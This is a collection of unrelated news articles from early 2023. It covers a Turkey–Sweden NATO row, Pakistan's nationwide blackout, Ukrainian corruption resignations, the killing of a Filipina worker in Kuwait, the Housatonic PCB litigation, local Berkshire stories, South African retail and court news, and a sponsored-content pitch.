Turkish President Recep Tayyip Erdogan warned Sweden not to expect support for its Nato membership bid following protests by an anti-Islam activist and pro-Kurdish groups (Burhan Ozbilici/AP)   Burhan Ozbilici

Turkey responded angrily to the protests, cancelling a planned visit to Ankara by the Swedish defence minister. Protests were held outside Swedish diplomatic missions in Ankara and Istanbul.

Turkish President Recep Tayyip Erdogan condemned the Swedish authorities for allowing the Koran-burning demonstration.

It is clear that those who allowed such vileness to take place in front of our embassy can no longer expect any charity from us regarding their Nato membership application, he said.

He also criticised the pro-Kurdish demonstration, accusing Sweden of letting terror organisations run wild on your avenues and streets.

He said if Sweden will not show respect to Nato-member Turkey or Muslims, then they wont see any support from us on the Nato issue.
Much of Pakistan was left without power on Monday as an energy-saving measure by the government backfired (KM Chaudary/AP)   K.M. Chaudary

Pakistans energy minister has defended the government following a major, day-long power cut that disrupted normal life across the country and drew criticism from millions who were left without electricity amid harsh winter weather.

Mondays blackout engulfed schools, factories and shops, and many of the countrys 220 million population were left without drinking water as pumps powered by electricity also failed to work.

In key businesses and institutions, including main hospitals, military and government facilities, back-up generators kicked in.

Power was later mostly restored, though some parts of the country were still experiencing blackouts on Tuesday.

People visit a market in Islamabad, where some shopkeepers were using generators for electricity during a nationwide power cut (Anjum Navee/AP)   Anjum Naveed

Energy Minister Khurram Dastgir offered no apologies for the collapse of the grid but praised the nations engineers and technicians for their efforts to boot up the system.

He also made no reference to the fact that an energy-saving measure by the government had backfired.

Authorities had turned off electricity during low-usage hours on Sunday night to conserve fuel, according to a government energy-saving plan. Efforts to turn power back on early on Monday morning led to a system-wide meltdown.

The minister said an investigation will show what exactly caused the blackout, which he blamed on a technical glitch.

Today, at 5.15 in the morning, the power was fully restored, Mr Dastgir told reporters in the capital, Islamabad.

He floated a remote chance that the outage was caused by hackers targeting the Pakistani grids systems and expressed faith that a three-member committee set up on Monday by Prime Minister Shahbaz Sharif will get to the bottom of it.

We will fully co-operate with the committee, which is expected to complete a preliminary investigation within days, Mr Dastgir said.

He also warned that some may still face routine power outages this week as Pakistans two nuclear power plants and coal plants have yet to come fully online.

Motorcyclists and cars drive through Lahore during the blackout (KM Chaudary/AP)   K.M. Chaudary

The power cut was reminiscent of a massive blackout in January 2021, attributed at the time to a technical fault in Pakistans power generation and distribution system.

Pakistan gets at least 60% of its electricity from fossil fuels, while nearly 27% of the electricity is generated by hydropower. The contribution of nuclear and solar power to the nations grid is about 10%.

Fawad Chaudhry, a senior leader at the opposition Pakistan Tehreek-e-Insaf party, on Monday criticised the government for mismanaging the countrys economy and said the power cut was a reflection of the governments incompetence.

Pakistan, which is grappling with one of its worst economic crisis in recent years amid dwindling foreign exchange reserves, is currently in talks with the International Monetary Fund to soften some conditions on a 6 billion US dollar (4.8 billion) bailout.

Mr Sharifs government says the harsh conditions will trigger further increases in inflation.

The IMF released the last crucial tranche of 1.1 billion dollars (887.7 million) to Islamabad in August but, since then, discussions between the two parties have oscillated due to Pakistans reluctance to impose new tax measures.
Ukrainian President Volodymyr Zelensky pledged to launch a staff shake-up amid high-level corruption allegations during the war with Russia (Efrem Lukatsky/AP)   Efrem Lukatsky

A high-level shake-up in the Ukrainian government has cost nearly a dozen senior officials their jobs as the president sought to root out entrenched corruption while conducting the fight against Russias invasion.

The deputy head of Ukraines presidential office quit after President Volodymyr Zelensky pledged to address high-level corruption allegations, including some related to specific wartime spending, that have embarrassed authorities and could slow the countrys bids to join the European Union and Nato.

Kyrylo Tymoshenko asked to be relieved of his duties, according to an online copy of a decree signed by Mr Zelensky and Mr Tymoshenkos own social media posts. Neither gave a reason for the resignation.

Kyrylo Tymoshenko (Ukrainian Presidential Press Office/AP)   Uncredited

Deputy defence minister Viacheslav Shapovalov also resigned, local media reported, alleging his departure was linked to a scandal involving the purchase of food for the Ukrainian armed forces. Deputy prosecutor general Oleksiy Symonenko quit as well.

In all, four deputy ministers and five regional governors were set to leave their posts, the countrys cabinet secretary said.

In a video address on Tuesday, Mr Zelensky said: Any internal problems that hinder the state are being cleaned up and will be cleaned up.

It is fair, it is necessary for our defence, and it helps our rapprochement with European institutions.

The departures thinned the governments wartime ranks as Mr Zelensky had already lost his interior minister, who oversaw Ukraines police and emergency services, and the rest of the ministrys leadership in a helicopter crash last week.

With western allies channelling billions of pounds to help Kyivs fight against Moscow, Mr Zelensky had pledged to weed out corruption which some observers have described as endemic. He came to power in 2019 on an anti-establishment and anti-corruption platform.

A Russian army self-propelled howitzer Akatsiya fires toward Ukrainian troops at an undisclosed location (Russian Defence Ministry Press Service/AP)   Uncredited

Mr Tymoshenko joined the presidential office in 2019 after working on Mr Zelenskys media and creative content strategy during his presidential campaign.

In his nightly video address on Sunday, the president said Ukraines focus on the Russian invasion would not stop his government from tackling alleged corruption, even amid a war.

I want to be clear: there will be no return to what used to be in the past, he said.

Mr Tymoshenko was last year under investigation relating to his personal use of luxury cars. He was also among officials linked last September by an investigator working with the National Anti-Corruption Bureau of Ukraine to the embezzlement of humanitarian aid worth more than 5.7 million earmarked for the southern Zaporizhzhia region.

Russian army T-90M tanks roll to their position at an undisclosed location in Ukraine (Russian Defence Ministry Press Service/AP)   Uncredited

He has denied all the allegations.

On Sunday, a deputy minister at the infrastructure ministry, Vasyl Lozynsky, was dismissed for being part of a network allegedly embezzling budget funds.

Oleksandr Kubrakov, the infrastructure minister, said Mr Lozynsky was relieved of his duties after Ukraines anti-corruption agency detained him while he was receiving a 400,000 dollar (325,000) bribe for helping to fix contracts related to restoring facilities battered by Russian missile strikes.

Last June, the EU agreed to put Ukraine on a path toward EU membership. To join the bloc, countries must meet a host of economic and political conditions, including a commitment to the rule of law and other democratic principles.

Ukraine has long aspired to join Nato as well, but the military alliance is not about to offer an invitation because of the countrys contested borders, defence establishment shortcomings and, in part, its corruption issues.
Belfast art historian on becoming first female director of the National Gallery of Ireland: I think for a long time I had a sort of imposter syndrome
Former Glasgow cop McFadden infiltrated Saoradh and the New IRA.

Dennis McFadden was an MI5 agent, who is credited with crippling the New IRA

More revelations have emerged regarding how MI5 agent Dennis McFadden managed to decimate dissident republicanism.

A human rights group founded by McFadden was an intelligence services ruse to infiltrate and sabotage republican justice campaigns.

A Sunday Life investigation has discovered how former IRA prisoners, solicitors and the Guildford Fours Gerry Conlon were encouraged by the spy to become directors or guarantors for Justice Watch Ireland.

It is also understood McFadden encouraged republicans to visit cancer-stricken New IRA founder Tony TC Catney on his deathbed for final conversations.

Fears are growing among those who attended that the double agent secretly bugged these meetings.

Ciaran Barnes, Chief Reporter with the Sunday Life, talks to Ciaran Dunbar.
A woman holds a photograph of a relative, one of the 189 people killed in a Lion Air plane crash in 2018, during a rally calling for the airline to put safety over profit, in Jakarta, Dec. 13, 2018.

An Indonesian court sentenced a charitys three top executives to around 3 years in prison each on Tuesday for embezzling funds that Boeing had paid out as a settlement with families of victims of the Lion Air jet crash in 2018.

The families, however, said the sentences were too lenient and the officials should have been condemned to longer terms in prison.

The Aksi Cepat Tanggap (ACT) group, which distributes humanitarian funds, used the bulk of the U.S. $9.2 million for the 189 victims families to fund executives salaries and to repay debts, the judges found.

The defendants actions harmed society, especially families of the victims and potential beneficiaries of the funds, said chief judge Hariyadi, who uses one name.

The Boeing Co. had deposited 138 billion rupiah (U.S. $9.2 million) with ACT under the Boeing Community Investment Fund (BCIF) program, in addition to cash compensation for the families of the people who died in the Lion Air crash in October 2018.

The U.S.-based aircraft manufacturing giant said the program was aimed at empowering the local communities affected by the accident in Indonesia. It allowed the victims families to donate to eligible local charities of their choosing.

The Boeing 737 MAX 8 crashed shortly after take-off from Jakartas Sukarno-Hatta International Airport on Oct. 29, 2018.

The aircrafts faulty anti-stall system was blamed for the crash, as well as that of another 737 MAX in Ethiopia that killed 157 people in March 2019. The accidents prompted the worldwide grounding of the 737 MAX fleet.

According to the indictment, ACT proposed 70 projects using the money donated by Boeing, but only six projects worth 20 billion rupiah came to fruition. Additionally, some 117 billion rupiah (U.S. $7.8 million) of the money was used to finance ACTs own operations, the prosecution said.

ACT founder Ahyudin, who uses one name, was handed a three-and-a-half year sentence. Ibnu Hajar and Hariyana Hermain, the charitys former president and vice president, each received a three-year sentence.

Prosecutors had sought four years in prison  the maximum sentence for embezzlement  for each of three defendants.

The trio has been in jail since their arrest in July 2022. Their lawyers said they were considering appeals.

Last July, local news magazine Tempo reported that ACT executives had used public donations to finance their lavish lifestyles, leaving the charity in financial trouble.

Ahyudin had told the court that some of the Boeing money was used to repay the debt of a sister company to ensure its survival.

During one of the hearings, he apologized to Boeing, the families of the crash victims and the government for the mismanagement.

A lawyer for Ibnu and Hariyana said they had acted on Ahyudins orders.

Should receive heavier punishments

Anton Sahadi, a spokesman for the victims families, criticized the verdicts as too lenient.

We are still smarting from the loss of our loved ones. How could they take advantage of grieving people? Anton told BenarNews.

They deliberately misused the funds. Its the same as killing. They should receive heavier punishments, 12 years, 15 years, 20 years, for example, he said.

The Indonesian Financial Transaction Reports and Analysis Center said last year that some of ACTs money may have made its way to militants overseas.

ACT has denied that it was funding militants. It admitted that it used 13 percent of donations to finance its operations, even though under Indonesian law, charities are only supposed to use a maximum of 10 percent to cover operating expenses.

Police and the National Counter-terrorism Agency (BNPT) said they had not found links between the charity and militant groups.
Stranded passengers including overseas Filipino workers take shelter under an elevated highway outside the Ninoy Aquino International Airport, in Pasay City, Metro Manila, June 11, 2020.

The Philippines on Tuesday denounced the killing of a Filipina maid in Kuwait, whose body was reportedly burnt and found dumped in the desert at the weekend.

Manila has periodically imposed bans on the deployment of its migrant labor force to Kuwait after the gruesome deaths of several Filipino domestic workers in the Persian Gulf country that hosts more than 200,000 of them.

The body of Jullebee Ranara, the 35-year-old victim, was found Sunday, days after her family in the Philippines said they had lost contact with her. Autopsy findings showed that the Filipina was pregnant, according to information cited by Philippine senators and received from Manilas embassy in Kuwait.

[We] urge the Kuwaiti government to work on the early resolution of the case and its perpetrators brought to justice, Department of Migrant Workers Secretary Susan Ople said during an interview on the dzBB radio station on Tuesday.

According to the mother, Jullebee has been complaining about her employers son, who was abusive. In fact, there was a time that he threatened her.

She added that she visited Ranaras family on Monday and assured them that the department would provide all the necessary support, including death and burial assistance, and scholarships for Ranaras four children.

Ople said the employers 17-year-old son appeared to be the primary suspect. He is now under the custody of the Kuwaiti police, Ople said.

Separately, Sen. Jinggoy Estrada, citing reports that he had received, said the victim had been beaten, ran over by the perpetrators car twice and  burnt and left for dead in the desert. The details, he said, were based on an autopsy report.

Ople said it might be time to ensure more stringent safeguards for Philippine workers.

We will reach out to the Kuwaiti government. Maybe its time to review the 2018 bilateral labor agreement so it would be similar to the bilateral agreement with Saudi Arabia which has more safeguards for our workers, Ople said.

Manila had earlier banned the deployment of workers to Kuwait owing to a sharp rise in Filipino deaths there. Then-President Rodrigo Duterte made the decision after the body of 29-year-old Joanna Demafelis, who also worked as a domestic helper, was found stuffed in a freezer.

The ban was lifted in 2018 after Duterte signed an agreement with the Kuwaiti government to ensure better treatment of Filipino workers.

The agreement guaranteed Filipinos right to use their phones and keep their passports, which are usually confiscated by Arab employers. The agreement also said that workers or Philippine authorities had to approve transfers to another employer.

Despite the agreement, Filipino domestic workers continued to die under abusive conditions.

In May 2019, Constancia Lago Dayag, 47, was killed by her employer after being physically and sexually assaulted.

The killing of another Filipino domestic worker, Jeanelyn Padernal Villavende, 26, prompted Manila to again halt deployment to Kuwait in January 2020. Deployment resumed the following month after charges were filed against her employers.

Ranaras killing, though, may not lead to a deployment ban, Ople said, noting that the Kuwaiti government had been quick to arrest the suspect, the teenage son of the victims employer.

Migrante Philippines, an alliance of local migrants group, called for an outright end to the governments labor export program.

Despite the sufferings of our countrymen, the DMW still wants to continue the deployment of Filipino workers to Kuwait and similar countries, the group said in a statement on Tuesday.

Instead of selling Filipino workers abroad, the government must find a sustainable reintegration program for overseas Filipino workers, it added.

Sen. Rita Hontiveros echoed the sentiment.

True justice can only be achieved if we ensure the protection of our fellow citizens who work far from the motherland, she said.

The most important thing we can possibly do for our OFW (overseas Filipino workers) is to make sure to better our economy so that no one has to leave the country to provide for their families.

Basilio Sepe in Manila contributed to this report.
Chinese Ambassador to the Philippines Huang Xilian (right) and Philippine Tourism Secretary Christina Frasco greet passengers from China as they arrive at Ninoy Aquino International Airport in Manila, Jan. 24, 2023. The Philippine government, meanwhile, said it was preparing to file a diplomatic protest against China over alleged harassment of Filipino fishermen in the South China Sea.

The Philippine government said Tuesday it was vigilantly monitoring developments in the South China Sea and investigating a recent incident where a China Coast Guard ship allegedly harassed local fishermen near a Filipino-occupied shoal.

The encounter at sea occurred on Jan. 9 when the crew of KEN-KEN fishing boat reported that a Chinese ship with bow number 5204 and a smaller boat drove them away from waters near Ayungin Shoal (Second Thomas Shoal), according to the Philippine Coast Guard.

Ayungin Shoal is part of the exclusive economic zone and continental shelf of the Philippines. The Philippines is entitled to exercise sovereign rights and jurisdiction in the area, without any intervention from another country, the Department of Foreign Affairs said in a statement Tuesday.

Filipino fishermen are free to exercise their rights and take whatever they are due under Philippine and international law, particularly the 1982 UNCLOS and the final and binding 2016 Arbitral Award, it said, referring to the United Nations Convention on the Law of the Sea.

The Philippine foreign office said it was waiting for the local law enforcement agencies official reports on the alleged incident.

The reports will serve as a basis for diplomatic action on the incident, the department said.

The department vigilantly monitors any developments in the West Philippine Sea, especially following the discussions between President Ferdinand R. Marcos Jr. and Chinese President Xi Jinping during the formers state visit to China, it said, using the Filipino name for areas within its EEZ in the South China Sea.

The Chinese Embassy in Manila did not immediately respond to BenarNews requests for comment.

The shoal, about 174 nautical miles from Puerto Princesa, a port city in the western Philippines Palawan province, is one of the nine areas occupied by Filipino forces in the disputed waters. The Philippines maintains a small contingent of Marines housed aboard the BRP Sierra Madre , a dilapidated World War-II era ship that was deliberately run aground in the 1990s.

Marcos said that his state visit to China in early January had already yielded a positive outcome through the two nations using an agreed-to hotline to focus on sea tensions.

So we have immediately used that thing, that mechanism that I talked about where I said we can immediately contact the Chinese government, and hopefully our counterparts on the other side can bring it to President Xis attention  this problem  and we have done that, Marcos told a select group of broadcasters Monday, according to transcripts released Tuesday.

But it does not preclude us from continuing to make protests and continuing to send note verbales concerning this, he said, referring to diplomatic notes without elaborating.

The Marcos administration has insisted repeatedly that issues in the South China Sea do not define relations with China. On Tuesday, Tourism Secretary Christina Frasco joined Huang Xilian, the Chinese ambassador to the Philippines, in greeting one of the first plane loads of Chinese tourists to arrive in Manila in three years.

Coast Guard Commandant Adm. Artemio Abu confirmed that the Filipino fishermen were being shadowed and that the Philippine side responded by intensifying its assets near Ayungin.

He said his agency had sent raw footage of the incident to the Department of Foreign Affairs.

We give confidence to our Filipino fishermen that they are taken care of and protected. We assure our Filipino fishermen that they are protected and secured through our constant presence, Abu said in a television interview.

The commandant said coast guard leaders would raise concerns with their counterparts from China during high-level talks, but he did not disclose the date.

We really need to coordinate well with the national leadership. It has to be communicated down to the frontlines, Abu said.

The incident was the first alleged case of Chinese harassment of a Philippine fishing boat reported in 2023. Last year, the Philippines carried out at least 10 resupply missions to the Sierra Madre without any incidents, apart from reports of the Chinese Coast Guard issuing verbal challenges.

In March 2014, a boat carrying supplies and Filipino journalists to Ayungin evaded a Chinese Coast Guard blockade during a two-hour standoff.
If you'd like to leave a comment (or a tip or a question) about this story with the editors, please email us

We also welcome letters to the editor for publication; you can do that by filling out our letters form and submitting it to the newsroom.
Features Editor

Jennifer Huberdeau is The Eagle's features editor. Prior to The Eagle, she worked at The North Adams Transcript. She is a 2021 Rabkin Award Winner, 2020 New England First Amendment Institute Fellow and a 2010 BCBS Health Care Fellow.
PITTSFIELD  Three years after opening a customer call center in Pittsfield, Wayfair has decided to close it, cutting costs amid a companywide retrenchment.

The Boston-based online retailer said Monday it will close its facility in the Clock Tower Business Center on South Church Street when the companys lease expires in July. The call center has been open since October 2019.

The 40 employees who work for Wayfair in Pittsfield will join the companys virtual customer service team, said a company spokeswoman, Susan Frechette. They have all been notified of Wayfairs decision.

Mayor Linda M. Tyer said the city was informed of Wayfairs intentions Monday.

Clearly, its discouraging news, because as you know Wayfair came into the community with quite a bit of fanfare, Tyer said. When the call center opened three years ago, Wayfair said it planned to have 300 employees working at the facility by 2022.

On Friday, Wayfair announced it planned to eliminate 1,750 jobs companywide, roughly 10 percent of its workforce. On Monday, Frechette said the effect of those layoffs on the call center staff in Pittsfield is minimal, but did not provide specific numbers. The majority of Wayfairs layoffs, 1,200, will affect employees in the firms corporate sector, the company said Friday.

Wayfair has filed a notice with the state of Massachusetts regarding the pending layoffs, said Heather Boulger, executive director of the MassHire Berkshire Workforce Center in Pittsfield.

Moving our customer service team to a virtual working model continues to allow us to best serve our customers while supporting cost-saving efforts for the business, Frechette said in an email. We remain committed to Pittsfield and our local communities and will continue to provide support to our regional employees who live and contribute to them.

Before opening its call center in the Berkshires, Wayfair received $31,350,000 worth of investment tax credits from the state Economic Assistance Council to add jobs in both Pittsfield and Boston. No city money was included or involved in that state tax package.

The bulk of that investment tax credit was related to Wayfairs proposal to add 3,000 jobs in Boston. The 300 jobs Wayfair said that it planned to create in Pittsfield within three years made up $2,850,000 of that overall sum, which came to $9,500 per position.

The status of that states investment tax package could not be determined Monday. The council, which is part of the Executive Office of Housing and Economic Development, could not be reached for comment.

Its the first Im hearing of this, but Im not shocked, said state Rep. Tricia Farley-Bouvier, D-Pittsfield, regarding Wayfairs announcement about the closing of the local call center. I had heard that they were laying off throughout the company and wondered what the implications for Pittsfield would be.

Both the commonwealth and the city of Pittsfield put a lot of resources in to support that company, she said of Wayfair, and so the next step would be to see if theyve fulfilled those obligations under those agreements.

Tyer said Wayfair told her it plans to hire additional employees in the Berkshires to work in the virtual call center, but did not provide specific numbers.

On the other hand, they are going to keep their current employees and plan to hire additional customer service representatives, she said.

Many corporations have shown that the work-from-home model works  and it feels like this is part of Wayfairs corporate strategy to have more of their employees working remotely, Tyer said.

Wayfair and Berkshire Community College are running a free, monthlong job training program that is designed to give participants skills they need to work as service consultants for the company, according to Deb Sarlin, the colleges executive director for community and education development. The program began this month. Graduates receive placement as Wayfair service consultants, according to the programs description.

Besides Pittsfield, Frechette said Wayfair has decided not to extend facility leases at many of its customer service locations around the country.

In March 2021, Wayfair closed a call center near Elmira, N.Y., and had all of its employees work virtually.

Like many companies, we have seen an increase in employees effectively transitioning to remote work, driven in part by the COVID-19 global pandemic and cost savings effort, she said.

Developer David Carver, who owns the Clock Tower Business Center through Clock Tower Partners LLC, could not be reached for comment.
Millionaire Giraud Foster spent $2.5 million to build Bellefontaine in 1897 as a duplicate of Marie Antoinette's Petit Trianon. He lived there with his family until his death at age 94.

Two years later, in 1947, Bellefontaine sold to the Fathers of the Mercy. A boarding school for high school boys, the Immaculate Heart of Mary Seminary, occupied the space from 1961 to 1979.

Martin Isenberg of Boston purchased the estate in September of 1981 for $1 million and spent $500,00 to restore it, before selling it in September of 1987 to Mel Zuckerman for $5.2 million. Groundbreaking for the $37 million Canyon Ranch began in 1988 and the resort opened in September of 1989.

To purchase any of these photos, visit SmugMug.com.

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Community News Editor / Librarian

Jeannie Maschino is community news editor and librarian for The Berkshire Eagle. She has worked for the newspaper in various capacities since 1982 and joined the newsroom in 1989.
Three years ago this month, the Environmental Protection Agency was preparing to reveal that, in a switch, it would allow PCBs dredged from the Housatonic River to be buried in the Berkshires.

The General Electric Co. continues to shape plans for that controversial disposal site in Lee. But a challenge by two environmental groups still stands in the way.

In recent filings with the U.S. Court of Appeals, lawyers for GE and for five Berkshire County towns call on the court to reject claims the EPA erred in revising its cleanup plan to allow local disposal of polychlorinated biphenyls, a probable carcinogen.

The arguments are dense and technical. But if successful in the year ahead, they will move the planned Upland Disposal Facility closer to being built. The appeal that seeks to stop the local burial was brought by the Housatonic River Initiative, led by Tim Gray of Lee, and the Housatonic Environmental Action League.

Whats new

Its been more than two decades since GE reached an agreement with the U.S. government to take responsibility for polluting the river and its floodplain.

In an initial cleanup around its transformer plant in Pittsfield, and in a section of river to the immediate south, the company spent hundreds of millions of dollars. That work turned next to whats known as the Rest of River cleanup  covering polluted areas to the south, into Connecticut. The EPA first said GE would have to ship PCBs out of Massachusetts. Then, in early 2020, came the settlement agreement. It allows more than a million cubic yards of sediments tainted with lower levels of PCBs to be buried in Lee.

The two environmental groups fought back. They first challenged the EPAs plan before the Environmental Appeals Board, the nations highest environmental court. After losing there last year, their pro bono attorneys moved to the appeals court. They now have until Feb. 3 to submit responses to the latest filings from GE and the five Berkshires towns.

Key arguments

Here are key arguments advanced by attorneys who want the appeals court to uphold the EPA permit.

 They claim the EPA got it right, when it issued a revised permit in December 2020. In their 65-page filing, lawyers for GE rebut the claim, in the appeal, that the agency engaged in arbitrary or capricious decision-making. Thats among the claims made by the environmental groups, based in part on the fact that in an October 2016 version of the cleanup permit  later challenged by GE  the EPA called for all PCBs to be sent out of state for disposal.

To prevail on that challenge, they would need to show that the [EPA] reached an irrational decision based on the evidence or failed to explain its decision in light of that evidence, the GE attorneys write in a Jan. 13 filing. Petitioners have not come close to carrying that heavy burden; indeed, they have ignored significant aspects of the record .

 The GE lawyers acknowledge that the EPA changed its stance, agreeing to a hybrid system that allows for local burial of sediments and soils containing lower amounts of PCBs. That is allowable, the lawyers claim, when the agency provides a reasoned explanation for its revised position . They cite a U.S. Supreme Court case: FCC v. Fox Televisions Stations Inc.

The lawyers say federal law allows courts to accept that on highly technical issues, agencies like the EPA are in the best position to decide these matters. This Court has pointed out that the deference to the agency is especially great where the issue involves the scientific and technical nature of the EPAs decision-making, the GE lawyers write.

It is clearly not arbitrary for an agency to adopt a new approach after its initial decision has been reviewed and found wanting and after completing a more consistent and more probing analysis of the issue.

By found wanting, the lawyers refer to a decision by the Environmental Appeals Board in January 2018 to send the case back to the EPA for further study, specifically on its call for all the PCB-laden material to be sent from Massachusetts.

Representatives of the EPA told The Eagle in early 2018 that they were working to respond to the EAB justices requests to further explain that decision  but intended at the time to continue to require out-of-state disposal.

 In response to one claim in the appeal, the GE lawyers say the environmental groups were not unfairly kept out of a mediation process led by Washington, D.C., attorney John Bickerman in 2018 and 2019.

A representative for HRI dropped out after two meetings, the GE lawyers say, while HEAL declined from the outset to sign a nondisclosure agreement. There is also no basis to Petitioners contention that they were excluded from the settlement discussions, according to GEs filing. Petitioners made their own decision not to participate.

Other filing

The filing on behalf of the Housatonic Rest of River Municipal Committee, by attorney Matthew Pawa, makes many of the same claims as the GE team. Pawa, of Seeger Weiss LLP of Newton Centre, represents the committee on behalf of Great Barrington, Lee, Lenox, Sheffield and Stockbridge.

Though elected officials in Lee backed the breakthrough agreement in February 2020, their successors now oppose the PCBs landfill to be created in a former sand and gravel quarry south of Woods Pond. Last fall, the towns Board of Health convened a hearing to gather evidence on possible harms to public health.

Pawa notes in his 58-page filing that the settlement agreement unveiled three years ago did good things. It expanded the reach of the cleanup, required GE to begin planning right away and dictated far-reaching and detailed conditions to GE regarding the construction and operation of the disposal facility.

Rather than move arbitrarily to allow local disposal, Pawa writes, the EPA spent five months revising the permit and took more than 400 public comments.

In a comprehensive decision, the EAB rejected challenges to EPAs decision. This Court should do the same, Pawa writes, referring to the appeals court.

Like the GE team, Pawa defends the EPAs decision to call in a mediator.

The mediation itself had very real environmental benefits in the form of adding speed and extra PCB removal, and removing litigation-related uncertainty, he writes. EPA had ample discretion to mediate and to sign the Settlement Agreement. It would be unwise to devise a new rule of law discouraging such settlement talks.
This blog covers software patent news and issues with a particular focus on wireless, mobile devices (smartphones, tablet computers, connected cars) as well as select antitrust matters surrounding those devices.
WILLIAMSTOWN  A new house is taking shape on Maple Street in Williamstown, constructed for a family of six by volunteers with the Northern Berkshire Habitat for Humanity.

According to project manager Keith Davis, the volunteer squad finished installing insulation, clearing the way for licensed plumbers and electricians to come in and do their part inside during the winter. After that, volunteers will return to begin the interior work.

Itll be really nice to get inside, Davis said. Were making progress on it pretty quickly.

The crew works on the project two or three days each week for a few hours. Davis said that of two dozen active volunteers, between eight and a dozen show up on work days, depending on who is available.

Inside, the house is framed with wooden studs, with plumbing and wiring coming soon.

Habitat finished a a single-family home at the corner of Cole Avenue and Maple Street in October 2021. With part of the foundation poured for the new house in late 2021, it began taking shape last spring and summer. Designed by architect Dana Bixby, the house will have four bedrooms, while the previous structure had three. Habitat was able to relocate mechanical systems into one of the bathrooms to allow for another bedroom upstairs.

The family selected by Habitat to purchase the house includes a mother and father and four children, two of which are twins. As part of the deal, family members invest sweat equity by helping with construction work or other community service.

Davis said the schedule calls for the house to be transferred to the new owner in the fall. Were hoping to have it done before Thanksgiving, Davis said.

Construction of the house, including construction materials, will cost between $150,000 and $170,000, he said. The purchase price will be discounted, with the final amount adjusted to be affordable, given the familys household income.

Davis said supply chain issues has doubled or tripled the cost of some materials. The home will be well-insulated and air-sealed, necessitating an air-exchange system as part of the heating, ventilation and air conditioning system.

After the project is complete, Davis said Habitat will tackle a home-building project on Summer Street.

Northern Berkshire Habitat for Humanity funds its work through sponsorships, grants and donations from local towns and businesses. Nationally, Habitat for Humanity was founded in 1976, and since then has partnered with more than 35 million people to access new or improved housing.
A page from Taconic High Schools Manitou 1970 features the "Man in Black," Johnny Cash, who was in the Berkshires that year to film Public Televisions The Trail of Tears about the tragic Cherokee journey.
Sponsored articles are the best way to let South Africans know about your brand, products, and solutions.

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It generates value for your company through high-quality, reliable articles about your products and services.

MyBroadbands 2022 Digital Marketing Report showed that articles are the most trusted form of online advertising in South Africa.

The report also showed that both business decision-makers and consumers prefer using online articles and reviews to find important information about the products and services they want to buy.

The best way to distribute this content is on large platforms that give you access to a bigger audience  and this is where TopAuto comes in.

TopAuto marketing

TopAuto will meet every need you have along your content marketing journey  from generating high-quality articles that build trust to distributing them to its large and powerful audience.

It is your best option as it is the largest motoring news website in South Africa and is still experiencing unparalleled growth having recently smashed its readership record.

TopAuto now reaches 946,000 South African car enthusiasts every month  and an impressive 1.7 million pages were opened in October.

Its audience is not only large, but also consists of influential people, as 85% of TopAutos readers are decision-makers in their homes.

More than half of TopAutos readers are also C-level executives, company directors, business owners, and managers:

16,500 CEOs and directors



CEOs and directors 93,600 business owners



business owners 410,000 managers

TopAutos talented marketing team will help you reach this impressive audience and will also provide in-depth reporting on your campaign.

It is, therefore, clear why South African brands prefer TopAuto for their marketing needs, so click here to find out more about our advertising solutions.
Massmart-owned home improvement, DIY and building materials retailer Builders has launched a new online tool called Product Finder, in an effort to assist customers on their hunt for those impossible-to-find items.

Source: Supplied

As exciting as taking on a new project can be, struggling to find the right power tool, paint colour, or exotic door handle can quickly dampen enthusiasm.

This new Product Finder tool utilises a team of Builders sales specialists to locate and source niche decor and outdoor products, a tool, storage solutions, or fittings, whether customers saw the item online, spotted it in a magazine, or encountered it outside the country. Notably, the platform can also source products the retailer itself doesn't stock.

The team receives orders uploaded to the track and trace system and can either source requests in-house using Builders vendors or source products from external vendors if the retailer doesn't stock that specific item.

In the last two years we have seen a surge in South Africans spending more time at home online to search for solutions to fix or improve their homes. Builders has always had the 'we will find it for you' philosophy although there was not a dedicated way to ensure that we do deliver on these requests or any way to track requests and follow up on the leads. The Product Finder Tool means that we can now deliver on this in a seamless and efficient manner, says Nicole le Roux, senior manager digital sales, Builders.

According to a recent Statista report looking into South Africas mobile internet user penetration 2018-2027, in 2022, 78.6% of the South African population accessed the internet via mobile device. This share is projected to grow to over 90% by the end of 2026 indicating a massive potential for digital e-commerce solutions.

Our new digitised track and trace system merges this convenience of e-commerce that our customers have grown to love with the Builders commitment to going the extra mile to provide the most valuable shopping experience possible. As a result, we can help even more of our loyal customers find whatever theyre looking for, no matter how niche it is, says Trevor Perumal, VP commercial, Builders.

Identifying search trends

Builders says the new tool will also help the retailer determine which products to include in its in-store range based on search trends and that it will continuously monitor the platform and scale its team to ensure it can keep up with the demand.

The retailer notes that the entire process is transparent to customers, who receive a trace number that they can use to track their product progress from initialisation to the finalisation of their request.

To access the platform, customers need to:
Home Affairs Minister, Dr Aaron Motsoaledi, has welcomed a High Court Gauteng North judgment confirming that Atul Gupta is a fugitive from justice and therefore does not qualify for a South African passport, as the Department had contended.

The Court issued the judgment on Friday.

On 25 September 2018, having fled South Africa in the advent of the Gupta Leaks, Atul Gupta approached the Consul General of South Africa in Dubai to apply for a passport.

In a statement, the department said it rejected the application after receiving confirmation from the National Prosecuting Authority that a warrant of arrest was issued against him in connection with criminal offences of fraud and money-laundering related to the Vrede Dairy Project.

In February 2021, Gupta approached the court seeking to force the department to issue him with a new South African passport. He claimed that he had a Constitutional right to a passport as a citizen of South Africa. He further said that the Constitution states that nobody should be deprived of their citizenship.

The Department defended that court application, arguing that he was a fugitive from justice and therefore does not have a right to challenge the Department in a court of law in this country. The Department challenged Gupta to indicate if he would be prepared to come to South Africa if the court were to order him to do so, reads the statement.

Gupta said he would have to take legal advice on the issue.

On Friday, Judge Kumalo found that if he (Gupta) indeed is not a fugitive from justice, why would he need legal advice whether he ought to come to this country for whatever reason. This is more telling for a person who owns property and had owned businesses in this country.

Judge Kumalo also noted that Gupta did not give a particular address in Dubai.

All that he seems prepared to state is that he is a South African citizen resident in Dubai. Nothing further is disclosed. I am of the view that this was not oversight on the Applicants side but was deliberate, reads part of the judgment.

Judge Kumalo ordered that:

The Applicant is a fugitive from justice.



Applicant has no locus standi to approach this court for relief in the circumstances.



Applicant (Gupta) is to pay the cost of this application.

Welcoming the judgment, Minister Motsoaledi said the court had delivered an important confirmation that the laws of the country must be respected and they are applicable to all.

Fridays judgment shows that you cannot want to escape accountability in a country and seek to enjoy the use of documents that are exclusively reserved for law-abiding citizens of that country, he said.

The Minister further welcomed the cost order against Gupta in favour of the department, saying it ensures that public funds are kept for service delivery. Minister Motsoaledi instructed the Department to immediately start the process to recover the costs.
